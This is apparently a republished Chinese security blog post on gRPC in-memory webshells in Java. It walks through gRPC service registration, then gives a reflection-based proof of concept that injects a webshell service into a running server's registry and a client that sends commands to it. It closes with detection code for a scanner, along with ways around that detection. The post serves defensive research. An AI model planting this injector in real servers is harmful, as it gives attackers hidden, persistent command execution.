gRPC内存马研究与查杀
2022-12-27 11:31:0 Author: xz.aliyun.com(查看原文) 阅读量:20 收藏

前言

前两周看到M01N Team公众号发布的《内存马的攻防博弈之旅之gRPC内存马》，文中介绍了gRPC内存马是如何注入进去并执行命令的，但是由于原文当中只给出靶场的Demo，并未给出利用注入的poc，便借助这篇文章再深入研究一下。

gRPC介绍

了解gRPC之前，就需要引入RPC的设计理念，才能更好的理解gRPC的工作原理。

远程过程调用（Remote Procedure Call，缩写为 RPC）是一个计算机通信协议。该协议允许一台计算上的程序调用另一台计算机上运行的程序，使得程序员无需再做额外的操作。如果是面向对象的场景，也可以称作为远程方法调用，比如熟知的Java RMI(Remote Method Invocation)调用。

而gRPC是由Google开发的一款高性能的开源RPC框架，经常用于微服务之间各种不同语言的程序调用函数和通信，大大的增加了微服务之间的通信效率和平台依赖性。同时gRPC是使用Protocol buffers作为接口定义语言(IDL)，可以通过编写的proto文件来定义消息结构体和RPC远程调用函数。

协调的接口是通过proto文件来定义的消息结构，相关文档可以在Reference[1]中找到。再来看看gRPC的接口定义语言Protocol Buffers的工作流程图：

结合后续的案例说明，proto文件定义好之后需要通过生成器生成对应语言的代码，并在项目中使用才可以建立gRPC调用。

案例说明

这里直接用绿盟星云实验室开源的gRPC靶场来研究：https://github.com/snailll/gRPCDemo

首先直接看看他的user.proto是如何定义的

syntax = "proto3";
package protocol;


option go_package = "protocol";
option java_multiple_files = true;
option java_package = "com.demo.shell.protocol";

message User {
  int32 userId = 1;
  string username = 2;
  sint32 age = 3;
  string name = 4;
}

service UserService {
  rpc getUser (User) returns (User) {}
  rpc getUsers (User) returns (stream User) {}
  rpc saveUsers (stream User) returns (User) {}
}

可以看到文件中定义了go_package和java_package两个变量，用处是明确指出包的命名空间，防止与其他语言的名称冲突。而java_multiple_files = true 选项则是允许为每个生成的类，生成一个单独的 .java 文件。

定义好了proto文件之后，就可以通过protoc或者maven的插件来生成grpc代码，这里我用的protoc二进制文件和插件protoc-gen-grpc来生成。

protoc下载地址：https://github.com/protocolbuffers/protobuf/releases

protoc-gen-grpc插件下载地址：https://repo.maven.apache.org/maven2/io/grpc/protoc-gen-grpc-java/

用下列两个命令生成对应的Java代码文件：

protoc -I=. --java_out=./codes/ user.proto

protoc.exe --plugin=protoc-gen-grpc-java.exe --grpc-java_out=./code --proto_path=. user.proto

这里的grpc插件一定要重新命名为"protoc-gen-grpc-java"，不然会显示找不到命令。

之后会在codes文件中生成对象关系的java文件，code文件夹中生成grpc相关的UserServiceGrpc.java文件。

把生成好的Java文件添加到开发的项目中，并新建一个UserServiceImpl类，用来实现grpc的方法。

package com.demo.shell.service;

import com.demo.shell.protocol.User;
import com.demo.shell.protocol.UserServiceGrpc;
import io.grpc.stub.StreamObserver;


/**
 * @author demo
 * @date 2022/11/27
 */
public class UserServiceImpl extends UserServiceGrpc.UserServiceImplBase {
    @Override
    public void getUser(User request, StreamObserver<User> responseObserver) {
        System.out.println(request);
        User user = User.newBuilder()
                .setName("response name")
                .build();
        responseObserver.onNext(user);
        responseObserver.onCompleted();
    }

    @Override
    public void getUsers(User request, StreamObserver<User> responseObserver) {
        System.out.println("get users");
        System.out.println(request);
        User user = User.newBuilder()
                .setName("user1")
                .build();
        User user2 = User.newBuilder()
                .setName("user2")
                .build();
        responseObserver.onNext(user);
        responseObserver.onNext(user2);
        responseObserver.onCompleted();
    }

    @Override
    public StreamObserver<User> saveUsers(StreamObserver<User> responseObserver) {

        return new StreamObserver<User>() {
            @Override
            public void onNext(User user) {
                System.out.println("get saveUsers list ---->");
                System.out.println(user);
            }

            @Override
            public void onError(Throwable throwable) {
                System.out.println("saveUsers error " + throwable.getMessage());
            }

            @Override
            public void onCompleted() {
                User user = User.newBuilder()
                        .setName("saveUsers user1")
                        .build();
                responseObserver.onNext(user);
                responseObserver.onCompleted();
            }
        };
    }
}

在创建一个Main方法启动Netty服务

public static void main(String[] args) throws Exception {
    int port = 8082;
    Server server = NettyServerBuilder
        .forPort(port)
        .addService(new UserServiceImpl())
        .build()
        .start();
    System.out.println("server started, port : " + port);
    server.awaitTermination();
}

再编写客户端调用服务器方法

package com.demo.shell.test;

import com.demo.shell.protocol.User;
import com.demo.shell.protocol.UserServiceGrpc;
import io.grpc.ManagedChannel;
import io.grpc.ManagedChannelBuilder;

import java.util.Iterator;

/**
 * @author demo
 * @date 2022/11/27
 */
public class NsTest {
    public static void main(String[] args) {

        User user = User.newBuilder()
                .setUserId(100)
                .build();

        String host = "127.0.0.1";
        int port = 8082;
        ManagedChannel channel = ManagedChannelBuilder.forAddress(host, port).usePlaintext().build();
        UserServiceGrpc.UserServiceBlockingStub userServiceBlockingStub = UserServiceGrpc.newBlockingStub(channel);
        User responseUser = userServiceBlockingStub.getUser(user);
        System.out.println(responseUser);

        Iterator<User> users = userServiceBlockingStub.getUsers(user);
        while (users.hasNext()) {
            System.out.println(users.next());
        }

        channel.shutdown();
    }
}

服务器输出对应的参数请求内容

gRPC内存马实现原理

先从服务端启动来看看UserServiceImpl是如何注册的

int port = 8082;
Server server = NettyServerBuilder
    .forPort(port)
    .addService(new UserServiceImpl())
    .build()
    .start();

forPort这里只是新建了一个NettyServerBuilder类，并设置了启动服务需要绑定的端口。

而到addService方法中，新建的UserServiceImpl类作为参数传递进了方法体中

public T addService(BindableService bindableService) {
    this.delegate().addService(bindableService);
    return this.thisT();
}

代码中的this.delegate()就是io.grpc.internal.ServerImplBuilder类

跟进查看

看到addService方法中添加的其实是bindService的返回值。

这里的正好是之前grpc插件生成的UserServiceGrpc类

@java.lang.Override public final io.grpc.ServerServiceDefinition bindService() {
    return io.grpc.ServerServiceDefinition.builder(getServiceDescriptor())
        .addMethod(
        getGetUserMethod(),
        io.grpc.stub.ServerCalls.asyncUnaryCall(
            new MethodHandlers<
            com.demo.shell.protocol.User,
            com.demo.shell.protocol.User>(
                this, METHODID_GET_USER)))
        .addMethod(
        getGetUsersMethod(),
        io.grpc.stub.ServerCalls.asyncServerStreamingCall(
            new MethodHandlers<
            com.demo.shell.protocol.User,
            com.demo.shell.protocol.User>(
                this, METHODID_GET_USERS)))
        .addMethod(
        getSaveUsersMethod(),
        io.grpc.stub.ServerCalls.asyncClientStreamingCall(
            new MethodHandlers<
            com.demo.shell.protocol.User,
            com.demo.shell.protocol.User>(
                this, METHODID_SAVE_USERS)))
        .build();
}

里面的代码正好对应proto文件中定义的三个方法名

addService添加了需要注册的方法，之后就是通过Build方法编译好且设置不可修改。

public Server build() {
    return new ServerImpl(this, this.clientTransportServersBuilder.buildClientTransportServers(this.getTracerFactories()), Context.ROOT);
}

Build方法中创建了ServerImpl对象，再来看看ServerImpl对象的构造方法

ServerImpl(ServerImplBuilder builder, InternalServer transportServer, Context rootContext) {
    this.executorPool = (ObjectPool)Preconditions.checkNotNull(builder.executorPool, "executorPool");
    this.registry = (HandlerRegistry)Preconditions.checkNotNull(builder.registryBuilder.build(), "registryBuilder");
    ...
}

主要是关注builder.registryBuilder.build()方法，进入的正好是io.grpc.internal.InternalHandlerRegistry$Builder类的build方法。

static final class Builder {
    private final HashMap<String, ServerServiceDefinition> services = new LinkedHashMap();

    Builder() {
    }

    InternalHandlerRegistry.Builder addService(ServerServiceDefinition service) {
        this.services.put(service.getServiceDescriptor().getName(), service);
        return this;
    }

    InternalHandlerRegistry build() {
        Map<String, ServerMethodDefinition<?, ?>> map = new HashMap();
        Iterator var2 = this.services.values().iterator();

        while(var2.hasNext()) {
            ServerServiceDefinition service = (ServerServiceDefinition)var2.next();
            Iterator var4 = service.getMethods().iterator();

            while(var4.hasNext()) {
                ServerMethodDefinition<?, ?> method = (ServerMethodDefinition)var4.next();
                map.put(method.getMethodDescriptor().getFullMethodName(), method);
            }
        }

        return new InternalHandlerRegistry(Collections.unmodifiableList(new ArrayList(this.services.values())), Collections.unmodifiableMap(map));
    }
}

最后返回的Collections.unmodifiableList和Collections.unmodifiableMap，就是将list列表和map转换成无法修改的对象，因此注册的UserServiceImpl对象中的方法从一开始就确定了。

至此，内存马的实现步骤就可以得知，需要通过反射重新定义ServerImpl对象中的this.registry值，添加进我们内存马的ServerServiceDefinition和ServerMethodDefinition。

内存马注入

由于M01N Team公众号中并未直接给出poc利用，这里我也只能凭借自己的想法慢慢复现。

由于需用反射替换掉原先被设置unmodifiable的ServerServiceDefinition和ServerMethodDefinition，因此就需要ServerImpl对象的句柄。

由于ServerImpl并不是静态的类，需要获取的字段也不是静态的，因此要获取到JVM中ServerImpl的类，可目前为止我没有想到有什么很好的方式获取。如果读者们有更好的思路可以留言给我，欢迎相互讨论学习。

注入的思路，就是先获取ServerImpl中已经有的ServerServiceDefinition和ServerMethodDefinition，读取到新的List和Map中，并在新的List和Map中添加WebShell内存马的信息，最后再设置unmodifiable属性并更改registry对象的值。

Poc如下所示，需要提供ServerImpl对象的实例。

public static void changeGRPCService(Server server){
    try {
        Field field = server.getClass().getDeclaredField("registry");
        field.setAccessible(true);
        Object registry = field.get(server);
        Class<?> handler = Class.forName("io.grpc.internal.InternalHandlerRegistry");
        Field services = handler.getDeclaredField("services");
        services.setAccessible(true);
        List servicesList = (List) services.get(registry);
        List<Object> newServicesList = new ArrayList<Object>(servicesList);

        //调用WebShell的bindService
        Class<?> cls = Class.forName("com.demo.shell.protocol.WebShellServiceGrpc$WebShellServiceImplBase");
        Method m = cls.getDeclaredMethod("bindService");
        BindableService obj = new WebshellServiceImpl();
        ServerServiceDefinition service = (ServerServiceDefinition) m.invoke(obj);

        newServicesList.add(service);       //添加新的Service到List中
        services.set(registry, Collections.unmodifiableList(newServicesList));
        Field methods = handler.getDeclaredField("methods");
        methods.setAccessible(true);
        Map methodsMap = (Map) methods.get(registry);
        Map<String,Object> newMethodsMap = new HashMap<String,Object>(methodsMap);

        for (ServerMethodDefinition<?, ?> serverMethodDefinition : service.getMethods()) {
            newMethodsMap.put(serverMethodDefinition.getMethodDescriptor().getFullMethodName(), serverMethodDefinition);
        }
        methods.set(registry,Collections.unmodifiableMap(newMethodsMap));
    } catch (Exception e) {
        e.printStackTrace();
    }
}

上面的代码片段只是一个demo版本，具体的实现需要把WebShellServiceGrpc类转成字节码，再Definition到JVM中。

注入完成后，在客户端执行如下代码调用即可：

package com.demo.shell.test;

import com.demo.shell.protocol.WebShellServiceGrpc;
import com.demo.shell.protocol.Webshell;
import io.grpc.ManagedChannel;
import io.grpc.ManagedChannelBuilder;

/**
 * @author demo
 * @date 2022/11/27
 */
public class NsTestShell {
    public static void main(String[] args) {

        Webshell webshell = Webshell.newBuilder()
                .setPwd("x")
                .setCmd("calc")
                .build();

        String host = "127.0.0.1";
        int port = 8082;
        ManagedChannel channel = ManagedChannelBuilder.forAddress(host, port).usePlaintext().build();

        WebShellServiceGrpc.WebShellServiceBlockingStub webShellServiceBlockingStub = WebShellServiceGrpc.newBlockingStub(channel);
        Webshell s = webShellServiceBlockingStub.exec(webshell);
        System.out.println(s.getCmd());
        try {
            Thread.sleep(5000);
        } catch (InterruptedException e) {
            e.printStackTrace();
        }
        channel.shutdown();
    }
}

而原本公众号中给出的防御方式是通过RASP技术对动态修改Service对象的行为做出拦截。其实我个人觉得这里不太好埋点，比如我可以对Service的上层对象registry直接做修改，或者我对Services对象的某个ServerServiceDefinition做修改，不做添加而只是修改原来已经存在的Method，操作的对象就不需要再更改Services的值。

gRPC内存马查杀

我在原先编写的内存马查杀工具MemoryShellHunter添加检测模块：https://github.com/sf197/MemoryShellHunter

首先在Agent中的transform方法中用ASM消费所有的类

ClassReader reader = new ClassReader(bytes);
ClassWriter writer = new ClassWriter(reader, 0);
GrpcClassVisitor visitor = new GrpcClassVisitor(writer,Grpc_Methods_list);
reader.accept(visitor, 0);

这里的GrpcClassVisitor就是当前类的父类的接口是否继承自io.grpc.BindableService，如果是，则说明这是一个gRPC实现类，因此当中定义的方法都可以是危险函数，需要进一步使用可达性分析判断是否有危险Sink函数。

package com.websocket.findMemShell;

import java.util.List;

import org.objectweb.asm.ClassVisitor;
import org.objectweb.asm.ClassWriter;
import org.objectweb.asm.MethodVisitor;
import org.objectweb.asm.Opcodes;


public class GrpcClassVisitor extends ClassVisitor {

    private String ClassName = null;
    private List<String> Grpc_Methods_list;

    public GrpcClassVisitor(ClassWriter writer,List<String> Grpc_Methods_list) {
        super(Opcodes.ASM4, writer);
        this.Grpc_Methods_list = Grpc_Methods_list;
    }

    @Override
    public void visit(int version, int access, String name, String signature, String superName, String[] interfaces) {
        if(superName.contains("ServiceGrpc")) {
            try {
                String cls = Thread.currentThread().getContextClassLoader().loadClass(superName.replaceAll("/", "\\.")).getInterfaces()[0].getName();
                if(cls.equals("io.grpc.BindableService")) {
                    //System.out.println("SuperName Class:"+cls);
                    this.ClassName = name;
                }

            } catch (ClassNotFoundException e) {
                // TODO Auto-generated catch block
                e.printStackTrace();
            }
        }
        super.visit(version, access, name, signature, superName, interfaces);
    }

    @Override
    public MethodVisitor visitMethod(int access, String name, String desc, String signature, String[] exceptions) {
        MethodVisitor methodVisitor = cv.visitMethod(access, name, desc, signature, exceptions);
        if(this.ClassName == null) {
            return methodVisitor;
        }else {
            return new MyMethodVisitor(methodVisitor, access, name, desc,this.ClassName,this.Grpc_Methods_list);
        }

    }

    class MyMethodVisitor extends MethodVisitor implements Opcodes {
        private String MethodName;
        private String ClassName;
        private List<String> Grpc_Methods_list;
        public MyMethodVisitor(MethodVisitor mv, final int access, final String name, final String desc,String ClassName,List<String> Grpc_Methods_list) {
            super(Opcodes.ASM5, mv);
            this.MethodName = name;
            this.ClassName = ClassName;
            this.Grpc_Methods_list = Grpc_Methods_list;
        }

        @Override
        public void visitMethodInsn(final int opcode, final String owner,
                final String name, final String desc, final boolean itf) {

            if(!this.Grpc_Methods_list.contains(this.ClassName+"#"+this.MethodName)) {
                this.Grpc_Methods_list.add(this.ClassName+"#"+this.MethodName);
                //System.out.println(this.ClassName+"#"+this.MethodName);
            }
            super.visitMethodInsn(opcode, owner, name, desc, itf);
        }
    }
}

判断函数逻辑：

if(discoveredCalls.containsKey(cp.getClassName().replaceAll("\\.", "/"))) {
    List<String> list = discoveredCalls.get(cp.getClassName().replaceAll("\\.", "/"));
    for(String str : list) {
        if(dfsSearchSink(str)) {
            stack.push(str);
            stack.push(cp.getClassName().replaceAll("\\.", "/"));
            StringBuilder sb = new StringBuilder();
            while(!stack.empty()) {
                sb.append("->");
                sb.append(stack.pop());
            }
            System.out.println("Controller CallEdge: "+sb.toString());
            break;
        }
    }
}

这样的好处可以查找出系统中gRPC的内存马。

缺点是在查找gRPC实现类的时候，需要用到当前线程的ClassLoader判断父类是否继承自io.grpc.BindableService，因此攻击的时候只需要更改加载的ClassLoader即可绕过。

这里也是抛砖引玉，如果有更好的检测思路和查杀思路欢迎提交pr：https://github.com/sf197/MemoryShellHunter

Reference

[1].https://developers.google.com/protocol-buffers

[2].https://grpc.io

[3].https://mp.weixin.qq.com/s/osuoinwCpOwNM4WoI6SOnQ

[4].https://www.cnblogs.com/easyidea/p/15767542.html


文章来源: https://xz.aliyun.com/t/11985
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